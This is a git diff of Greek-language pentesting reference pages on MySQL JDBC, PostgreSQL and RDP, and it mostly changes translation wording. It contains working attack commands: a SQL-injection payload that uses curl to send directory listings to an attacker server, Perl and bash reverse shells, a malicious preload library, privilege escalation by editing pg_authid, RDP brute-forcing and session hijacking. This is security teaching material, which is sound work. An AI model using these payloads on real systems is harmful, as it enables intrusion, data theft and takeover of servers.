jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` @@ -657,7 +658,7 @@ jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform (Δείτε την αναφορά του Snyk για λεπτομέρειες) ### Επιθέσεις από κακόβουλους / ψεύτικους MySQL servers κατά των JDBC πελατών -Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται εξωτερικά: +Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται προς τα έξω: * **mysql-fake-server** (Java, υποστηρίζει εκμεταλλεύσεις ανάγνωσης αρχείων και αποσειριοποίησης) * **rogue_mysql_server** (Python, παρόμοιες δυνατότητες) diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index acfe4ecf5..37e7fef5a 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -101,7 +101,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -Στις συναρτήσεις PL/pgSQL, αυτή τη στιγμή δεν είναι δυνατή η απόκτηση λεπτομερειών εξαιρέσεων. Ωστόσο, αν έχετε άμεση πρόσβαση στον διακομιστή PostgreSQL, μπορείτε να ανακτήσετε τις απαραίτητες πληροφορίες. Αν η εξαγωγή ονομάτων χρηστών και κωδικών πρόσβασης από τους πίνακες συστήματος δεν είναι εφικτή, μπορείτε να εξετάσετε τη μέθοδο επίθεσης wordlist που συζητήθηκε στην προηγούμενη ενότητα, καθώς θα μπορούσε να αποφέρει θετικά αποτελέσματα. +Στις συναρτήσεις PL/pgSQL, αυτή τη στιγμή δεν είναι δυνατή η απόκτηση λεπτομερειών εξαιρέσεων. Ωστόσο, αν έχετε άμεση πρόσβαση στον διακομιστή PostgreSQL, μπορείτε να ανακτήσετε τις απαραίτητες πληροφορίες. Αν η εξαγωγή ονομάτων χρηστών και κωδικών πρόσβασης από τους πίνακες συστήματος δεν είναι εφικτή, μπορείτε να εξετάσετε τη μέθοδο επίθεσης wordlist που συζητήθηκε στην προηγούμενη ενότητα, καθώς θα μπορούσε ενδεχομένως να αποφέρει θετικά αποτελέσματα. ## Αριθμητική Δικαιωμάτων @@ -109,8 +109,8 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? | Τύποι Ρόλων | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| rolsuper | Ο ρόλος έχει προνόμια superuser | -| rolinherit | Ο ρόλος κληρονομεί αυτόματα τα προνόμια των ρόλων των οποίων είναι μέλος | +| rolsuper | Ο ρόλος έχει δικαιώματα superuser | +| rolinherit | Ο ρόλος κληρονομεί αυτόματα τα δικαιώματα των ρόλων των οποίων είναι μέλος | | rolcreaterole | Ο ρόλος μπορεί να δημιουργήσει περισσότερους ρόλους | | rolcreatedb | Ο ρόλος μπορεί να δημιουργήσει βάσεις δεδομένων | | rolcanlogin | Ο ρόλος μπορεί να συνδεθεί. Δηλαδή, αυτός ο ρόλος μπορεί να δοθεί ως ο αρχικός αναγνωριστικός δείκτης εξουσιοδότησης συνεδρίας | @@ -118,7 +118,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? | rolconnlimit | Για ρόλους που μπορούν να συνδεθούν, αυτό ορίζει τον μέγιστο αριθμό ταυτόχρονων συνδέσεων που μπορεί να κάνει αυτός ο ρόλος. -1 σημαίνει χωρίς όριο. | | rolpassword | Όχι ο κωδικός πρόσβασης (διαβάζεται πάντα ως `********`) | | rolvaliduntil | Χρόνος λήξης κωδικού πρόσβασης (χρησιμοποιείται μόνο για την αυθεντικοποίηση κωδικού πρόσβασης); null αν δεν υπάρχει λήξη | -| rolbypassrls | Ο ρόλος παρακάμπτει κάθε πολιτική ασφαλείας σε επίπεδο γραμμής, δείτε [Ενότητα 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) για περισσότερες πληροφορίες. | +| rolbypassrls | Ο ρόλος παρακάμπτει κάθε πολιτική ασφαλείας σε επίπεδο γραμμής, δείτε [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) για περισσότερες πληροφορίες. | | rolconfig | Προεπιλεγμένες ρυθμίσεις συγκεκριμένες για τον ρόλο για μεταβλητές ρύθμισης χρόνου εκτέλεσης | | oid | ID του ρόλου | @@ -207,11 +207,11 @@ ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` -## Δράσεις συστήματος αρχείων +## File-system actions -### Ανάγνωση καταλόγων και αρχείων +### Read directories and files -Από αυτήν την [**δέσμευση**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) τα μέλη της καθορισμένης **`DEFAULT_ROLE_READ_SERVER_FILES`** ομάδας (που ονομάζεται **`pg_read_server_files`**) και οι **super users** μπορούν να χρησιμοποιούν τη μέθοδο **`COPY`** σε οποιαδήποτε διαδρομή (ελέγξτε το `convert_and_check_filename` στο `genfile.c`): +From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)μέλη της καθορισμένης **`DEFAULT_ROLE_READ_SERVER_FILES`** ομάδας (που ονομάζεται **`pg_read_server_files`**) και **super users** μπορούν να χρησιμοποιούν τη μέθοδο **`COPY`** σε οποιαδήποτε διαδρομή (check out `convert_and_check_filename` in `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); @@ -260,7 +260,7 @@ GRANT pg_read_server_files TO username; copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] -> Θυμηθείτε ότι αν δεν είστε super user αλλά έχετε τα δικαιώματα **`CREATEROLE`** μπορείτε **να γίνετε μέλος αυτής της ομάδας:** +> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`** μπορείτε **να γίνετε μέλος αυτής της ομάδας:** > > ```sql > GRANT pg_write_server_files TO username; @@ -268,13 +268,14 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju > > [**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -Θυμηθείτε ότι το COPY δεν μπορεί να χειριστεί χαρακτήρες νέας γραμμής, επομένως ακόμη και αν χρησιμοποιείτε ένα payload base64 **πρέπει να στείλετε μια ενιαία γραμμή**.\ +Θυμηθείτε ότι το COPY δεν μπορεί να χειριστεί χαρακτήρες νέας γραμμής, επομένως ακόμη και αν χρησιμοποιείτε ένα payload base64 **πρέπει να στείλετε μια γραμμή.**\ Μια πολύ σημαντική περιοριστική παράμετρος αυτής της τεχνικής είναι ότι **`copy` δεν μπορεί να χρησιμοποιηθεί για να γράψει δυαδικά αρχεία καθώς τροποποιεί κάποιες δυαδικές τιμές.** ### **Ανέβασμα δυαδικών αρχείων** Ωστόσο, υπάρχουν **άλλες τεχνικές για να ανεβάσετε μεγάλα δυαδικά αρχεία:** + {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} @@ -283,7 +284,7 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju ### Ενημέρωση δεδομένων πίνακα PostgreSQL μέσω εγγραφής τοπικού αρχείου -Αν έχετε τα απαραίτητα δικαιώματα για να διαβάσετε και να γράψετε αρχεία του διακομιστή PostgreSQL, μπορείτε να ενημερώσετε οποιονδήποτε πίνακα στον διακομιστή **επικαλύπτοντας τον σχετικό κόμβο αρχείου** στον [κατάλογο δεδομένων PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Περισσότερα για αυτή την τεχνική** [**εδώ**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). +Αν έχετε τα απαραίτητα δικαιώματα για να διαβάσετε και να γράψετε αρχεία του διακομιστή PostgreSQL, μπορείτε να ενημερώσετε οποιονδήποτε πίνακα στον διακομιστή **υπεργράφοντας τον σχετικό κόμβο αρχείου** στον [κατάλογο δεδομένων PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Περισσότερα για αυτή την τεχνική** [**εδώ**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). Απαιτούμενα βήματα: @@ -337,9 +338,9 @@ WHERE pg_class.relname = '{TABLE_NAME}'; python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` -![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) +![Demo του PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) -6. Επαναφορτώστε τον επεξεργασμένο κόμβο αρχείου μέσω των συναρτήσεων `lo_*`, και επικαλύψτε το αρχικό αρχείο στον δίσκο +6. Επαναφορτώστε τον επεξεργασμένο κόμβο αρχείου μέσω των συναρτήσεων `lo_*`, και υπεργράψτε το αρχικό αρχείο στον δίσκο ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) @@ -360,7 +361,7 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ### **RCE σε πρόγραμμα** -Από την[ έκδοση 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), μόνο οι **super users** και τα μέλη της ομάδας **`pg_execute_server_program`** μπορούν να χρησιμοποιούν το copy για RCE (παράδειγμα με εξαγωγή: +Από την[ έκδοση 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), μόνο οι **υπερ-χρήστες** και τα μέλη της ομάδας **`pg_execute_server_program`** μπορούν να χρησιμοποιήσουν το copy για RCE (παράδειγμα με εξαγωγή: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` @@ -378,7 +379,7 @@ DROP TABLE IF EXISTS cmd_exec; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] -> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`**, μπορείτε να **γίνετε μέλος αυτής της ομάδας:** +> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`** μπορείτε να **γίνετε μέλος αυτής της ομάδας:** > > ```sql > GRANT pg_execute_server_program TO username; @@ -387,17 +388,19 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > [**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Ή χρησιμοποιήστε το module `multi/postgres/postgres_copy_from_program_cmd_exec` από το **metasploit**.\ -Περισσότερες πληροφορίες σχετικά με αυτή την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρθηκε ως CVE-2019-9193, το Postgres δήλωσε ότι αυτό ήταν [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +Περισσότερες πληροφορίες σχετικά με αυτή την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρθηκε ως CVE-2019-9193, το Postges δήλωσε ότι αυτό ήταν [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE με γλώσσες PostgreSQL + {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md {{#endref}} ### RCE με επεκτάσεις PostgreSQL -Αφού έχετε **μάθει** από την προηγούμενη ανάρτηση **πώς να ανεβάσετε δυαδικά αρχεία**, μπορείτε να προσπαθήσετε να αποκτήσετε **RCE ανεβάζοντας μια επέκταση postgresql και φορτώνοντάς την**. +Αφού έχετε **μάθει** από την προηγούμενη ανάρτηση **πώς να ανεβάσετε δυαδικά αρχεία** μπορείτε να προσπαθήσετε να αποκτήσετε **RCE ανεβάζοντας μια επέκταση postgresql και φορτώνοντάς την**. + {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -406,35 +409,35 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I ### RCE με το αρχείο ρυθμίσεων PostgreSQL > [!TIP] -> Οι παρακάτω RCE διανύσματα είναι ιδιαίτερα χρήσιμα σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT +> Οι παρακάτω RCE διαδρομές είναι ιδιαίτερα χρήσιμες σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT -Το **αρχείο ρυθμίσεων** του PostgreSQL είναι **γραπτό** από τον **χρήστη postgres**, ο οποίος είναι αυτός που εκτελεί τη βάση δεδομένων, οπότε ως **υπερ-χρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων, και επομένως μπορείτε να **επικαλύψετε αυτό το αρχείο.** +Το **αρχείο ρυθμίσεων** του PostgreSQL είναι **γραπτό** από τον **χρήστη postgres**, ο οποίος είναι αυτός που εκτελεί τη βάση δεδομένων, οπότε ως **υπερχρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων, και επομένως μπορείτε να **επικαλύψετε αυτό το αρχείο.** ![](<../images/image (322).png>) #### **RCE με ssl_passphrase_command** -Περισσότερες πληροφορίες [για αυτή την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli). +Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli). Το αρχείο ρυθμίσεων έχει μερικά ενδιαφέροντα χαρακτηριστικά που μπορούν να οδηγήσουν σε RCE: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Διαδρομή προς το ιδιωτικό κλειδί της βάσης δεδομένων -- `ssl_passphrase_command = ''` Αν το ιδιωτικό αρχείο είναι προστατευμένο με κωδικό (κρυπτογραφημένο), το postgresql θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**. -- `ssl_passphrase_command_supports_reload = off` **Αν** αυτό το χαρακτηριστικό είναι **ενεργό**, η **εντολή** που εκτελείται αν το κλειδί είναι προστατευμένο με κωδικό **θα εκτελείται** όταν εκτελείται το `pg_reload_conf()`. +- `ssl_passphrase_command = ''` Αν το ιδιωτικό αρχείο είναι προστατευμένο με κωδικό (κρυπτογραφημένο) το postgresql θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**. +- `ssl_passphrase_command_supports_reload = off` **Αν** αυτό το χαρακτηριστικό είναι **ενεργό** η **εντολή** που εκτελείται αν το κλειδί είναι προστατευμένο με κωδικό **θα εκτελείται** όταν εκτελείται το `pg_reload_conf()`. -Στη συνέχεια, ένας επιτιθέμενος θα χρειαστεί να: +Έτσι, ένας επιτιθέμενος θα χρειαστεί να: 1. **Εξάγει το ιδιωτικό κλειδί** από τον διακομιστή 2. **Κρυπτογραφήσει** το κατεβασμένο ιδιωτικό κλειδί: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Επικαλύψει** 4. **Εξάγει** την τρέχουσα **ρύθμιση** του postgresql -5. **Επικαλύψει** την **ρύθμιση** με τις αναφερόμενες ρυθμίσεις: +5. **Επικαλύψει** την **ρύθμιση** με την αναφερόμενη ρύθμιση χαρακτηριστικών: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Εκτελέστε `pg_reload_conf()` -Κατά τη διάρκεια της δοκιμής αυτού, παρατήρησα ότι αυτό θα λειτουργήσει μόνο αν το **ιδιωτικό αρχείο κλειδιού έχει δικαιώματα 640**, είναι **κατοχυρωμένο με root** και από την **ομάδα ssl-cert ή postgres** (έτσι ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και είναι τοποθετημένο στο _/var/lib/postgresql/12/main_. +Κατά τη διάρκεια της δοκιμής αυτού παρατήρησα ότι αυτό θα λειτουργήσει μόνο αν το **ιδιωτικό αρχείο κλειδιού έχει δικαιώματα 640**, είναι **κατοχυρωμένο από τον root** και από την **ομάδα ssl-cert ή postgres** (έτσι ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και είναι τοποθετημένο στο _/var/lib/postgresql/12/main_. #### **RCE με archive_command** @@ -453,14 +456,14 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I #### **RCE με βιβλιοθήκες προφόρτωσης** -Περισσότερες πληροφορίες [για αυτή την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/). +Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/). -Αυτό το διανύσμα επίθεσης εκμεταλλεύεται τις παρακάτω ρυθμίσεις: +Αυτή η διαδρομή επίθεσης εκμεταλλεύεται τις παρακάτω ρυθμίσεις: - `session_preload_libraries` -- βιβλιοθήκες που θα φορτωθούν από τον διακομιστή PostgreSQL κατά τη σύνδεση του πελάτη. - `dynamic_library_path` -- λίστα καταλόγων όπου ο διακομιστής PostgreSQL θα αναζητήσει τις βιβλιοθήκες. -Μπορούμε να ορίσουμε την τιμή `dynamic_library_path` σε έναν κατάλογο, που είναι εγγράψιμος από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, π.χ., στον κατάλογο `/tmp/`, και να ανεβάσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα αναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νέα μας βιβλιοθήκη περιλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`. +Μπορούμε να ορίσουμε την τιμή `dynamic_library_path` σε έναν κατάλογο, που είναι εγγράψιμος από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, π.χ., στον κατάλογο `/tmp/`, και να ανεβάσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα αναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νέα μας βιβλιοθήκη συμπεριλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`. Τα βήματα της επίθεσης είναι: @@ -509,7 +512,7 @@ execve("/bin/bash", argv, NULL); } ``` -Συμπιέζοντας τον κώδικα: +Συμπίεση του κώδικα: ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c @@ -526,9 +529,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so #### **Grant** -Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν δικαίωμα **`CREATEROLE`** μπορούν να **παραχωρήσουν ή να ανακαλέσουν τη συμμετοχή σε οποιονδήποτε ρόλο** που **δεν είναι** υπερ-χρήστης._ +Σύμφωνα με τα [**έγγραφα**](https://www.postgresql.org/docs/13/sql-grant.html): _Οι ρόλοι που έχουν το δικαίωμα **`CREATEROLE`** μπορούν να **παραχωρήσουν ή να ανακαλέσουν την ιδιότητα μέλους σε οποιονδήποτε ρόλο** που **δεν είναι** υπερ-χρήστης._ -Έτσι, αν έχετε άδεια **`CREATEROLE`**, μπορείτε να παραχωρήσετε πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερ-χρήστες) που μπορούν να σας δώσουν τη δυνατότητα να διαβάσετε και να γράψετε αρχεία και να εκτελέσετε εντολές: +Έτσι, αν έχετε άδεια **`CREATEROLE`** μπορείτε να παραχωρήσετε πρόσβαση σε άλλους **ρόλους** (που δεν είναι υπερ-χρήστες) που μπορούν να σας δώσουν την επιλογή να διαβάσετε & γράψετε αρχεία και να εκτελέσετε εντολές: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -537,9 +540,9 @@ GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` -#### Τροποποίηση Κωδικού +#### Modify Password -Οι χρήστες με αυτόν τον ρόλο μπορούν επίσης να **αλλάξουν** τους **κωδικούς** άλλων **μη υπερχρηστών**: +Οι χρήστες με αυτόν τον ρόλο μπορούν επίσης να **αλλάξουν** τους **κωδικούς** άλλων **μη-superusers**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; @@ -556,9 +559,9 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER > ```bash > # "local" είναι μόνο για συνδέσεις Unix domain socket > local all all trust -> # Τοπικές συνδέσεις IPv4: +> # IPv4 τοπικές συνδέσεις: > host all all 127.0.0.1/32 trust -> # Τοπικές συνδέσεις IPv6: +> # IPv6 τοπικές συνδέσεις: > host all all ::1/128 trust > ``` @@ -566,7 +569,7 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER Στο [**αυτό το writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) εξηγείται πώς ήταν δυνατό να γίνει **privesc** στο Postgres GCP εκμεταλλευόμενοι το δικαίωμα ALTER TABLE που είχε παραχωρηθεί στον χρήστη. -Όταν προσπαθείτε να **κάνετε έναν άλλο χρήστη ιδιοκτήτη ενός πίνακα**, θα πρέπει να λάβετε ένα **σφάλμα** που να το αποτρέπει, αλλά προφανώς το GCP έδωσε αυτή την **επιλογή στον χρήστη postgres που δεν είναι superuser** στο GCP: +Όταν προσπαθείτε να **κάνετε έναν άλλο χρήστη ιδιοκτήτη ενός πίνακα**, θα πρέπει να λάβετε ένα **σφάλμα** που το αποτρέπει, αλλά προφανώς το GCP έδωσε αυτή την **επιλογή στον χρήστη postgres που δεν είναι superuser** στο GCP:
@@ -605,7 +608,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ANALYZE public.temp_table; ``` -Τότε, ο πίνακας `shell_commands_results` θα περιέχει την έξοδο του εκτελούμενου κώδικα: +Στη συνέχεια, ο πίνακας `shell_commands_results` θα περιέχει την έξοδο του εκτελούμενου κώδικα: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` @@ -644,7 +647,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Custom defined function with** SECURITY DEFINER -[**Σε αυτή την αναφορά**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), οι pentesters κατάφεραν να αποκτήσουν δικαιώματα μέσα σε μια postgres instance που παρέχεται από την IBM, επειδή **βρήκαν αυτή τη συνάρτηση με την ένδειξη SECURITY DEFINER**: +[**In this writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), οι pentesters κατάφεραν να αποκτήσουν δικαιώματα μέσα σε μια εγκατάσταση postgres που παρέχεται από την IBM, επειδή **βρήκαν αυτή τη συνάρτηση με την ένδειξη SECURITY DEFINER**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -665,7 +668,7 @@ PERFORM dblink_disconnect();
 …
 
-Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html), μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα δικαιώματα του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη σε SQL Injection** ή εκτελεί κάποιες **προνομιακές ενέργειες με παραμέτρους που ελέγχονται από τον επιτιθέμενο**, μπορεί να καταχραστεί για **να κλιμακώσει τα δικαιώματα μέσα σε postgres**. +Όπως [**εξηγείται στα docs**](https://www.postgresql.org/docs/current/sql-createfunction.html), μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα δικαιώματα του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη σε SQL Injection** ή εκτελεί κάποιες **προνομιακές ενέργειες με παραμέτρους που ελέγχονται από τον επιτιθέμενο**, θα μπορούσε να καταχραστεί για **να κλιμακώσει τα δικαιώματα μέσα στο postgres**. Στη γραμμή 4 του προηγούμενου κώδικα μπορείτε να δείτε ότι η συνάρτηση έχει την ένδειξη **SECURITY DEFINER**. ```sql @@ -703,7 +706,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); 4. Αποκτήστε τον τύπο δεδομένων, που σχετίζεται με τον πίνακα `pg_authid` 5. Χρησιμοποιήστε τον [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) για να [επεξεργαστείτε το filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); ρυθμίστε όλες τις boolean σημαίες `rol*` σε 1 για πλήρη δικαιώματα. 6. Επαναφορτώστε το επεξεργασμένο filenode μέσω των συναρτήσεων `lo_*`, και επικαλύψτε το αρχικό αρχείο στον δίσκο -7. _(Προαιρετικά)_ Καθαρίστε την κρυφή μνήμη του πίνακα που βρίσκεται στη μνήμη εκτελώντας ένα δαπανηρό SQL query +7. _(Προαιρετικά)_ Καθαρίστε την προσωρινή μνήμη πίνακα στη μνήμη εκτελώντας ένα δαπανηρό SQL query 8. Τώρα θα πρέπει να έχετε τα προνόμια ενός πλήρους superadmin. ## **POST** diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index d0cd3f4b3..8691b7199 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Συνδεθείτε με γνωστά διαπιστευτήρια/hash +### Συνδεθείτε με γνωστά διαπιστευτήρια/hashtag ```bash rdesktop -u rdesktop -d -u -p @@ -50,7 +50,7 @@ rdp_check /:@ ### Κλοπή συνεδρίας -Με **δικαιώματα SYSTEM** μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου. +Με **δικαιώματα SYSTEM** μπορείτε να έχετε πρόσβαση σε οποιαδήποτε **ανοιχτή συνεδρία RDP από οποιονδήποτε χρήστη** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης του κατόχου. **Λάβετε ανοιχτές συνεδρίες:** ``` @@ -60,9 +60,9 @@ query user ```bash tscon /dest: ``` -Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε την δυνατότητα να προσποιηθείτε έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows. +Τώρα θα βρίσκεστε μέσα στην επιλεγμένη συνεδρία RDP και θα έχετε την ικανότητα να προσποιηθείτε έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και δυνατότητες των Windows. -**Σημαντικό**: Όταν αποκτήσετε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε. +**Σημαντικό**: Όταν αποκτάτε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε. Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...) @@ -77,12 +77,13 @@ ts::remote /id:2 #Connect to the session Συνδυάζοντας αυτή την τεχνική με **stickykeys** ή **utilman θα μπορέσετε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποιαδήποτε στιγμή** -Μπορείτε να αναζητήσετε RDPs που έχουν παραβιαστεί με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Μπορείτε να αναζητήσετε RDPs που έχουν υποστεί backdoor με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε Admin**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του και να ενεργήσετε ως αυτός: + {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 4b9a5fe5a..2f4dea5ea 100644 --- 